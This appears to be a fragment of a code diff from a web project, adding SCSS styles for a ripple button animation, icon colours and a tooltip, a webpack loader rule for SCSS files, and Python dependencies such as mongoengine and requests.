.ui-btn-ping {
position: absolute;
top: 50%;
left: 50%;
width: 100%;
transform: translate3d(-50%, -50%, 0); // center center by default
// set the square
&:before {
content: '';
transform: scale(0, 0); // center center by default
transition-property: background-color transform;
transition-timing-function: cubic-bezier(0.0, 0.0, 0.2, 1);
display: block;
padding-bottom: 100%;
border-radius: 50%;
background-color: rgba(white, .84);;
}
.do-ping &:before {
transform: scale(2.5, 2.5);
transition-duration: .35s;
background-color: rgba(white, .08);
}
}
.icon-checked{
color:$green
}
.icon-mandatory{
color:$dark-green
}
.icon-unchecked{
color:$black;
}

View File

@ -0,0 +1,8 @@
$background: #000000;
$font: #fff;
.react-tooltip-lite {
background: $background;
color: $font;
max-width: 400px !important;
}

View File

@ -18,6 +18,14 @@ module.exports = {
'css-loader'
]
},
{
test: /\.scss$/,
use: [
'style-loader',
'css-loader',
'sass-loader'
]
},
{
test: /\.(ttf|eot|svg)(\?v=[0-9]\.[0-9]\.[0-9])?$/,
use: {

View File

@ -22,4 +22,6 @@ awscli
cffi
virtualenv
wheel
mongoengine
mongomock
requests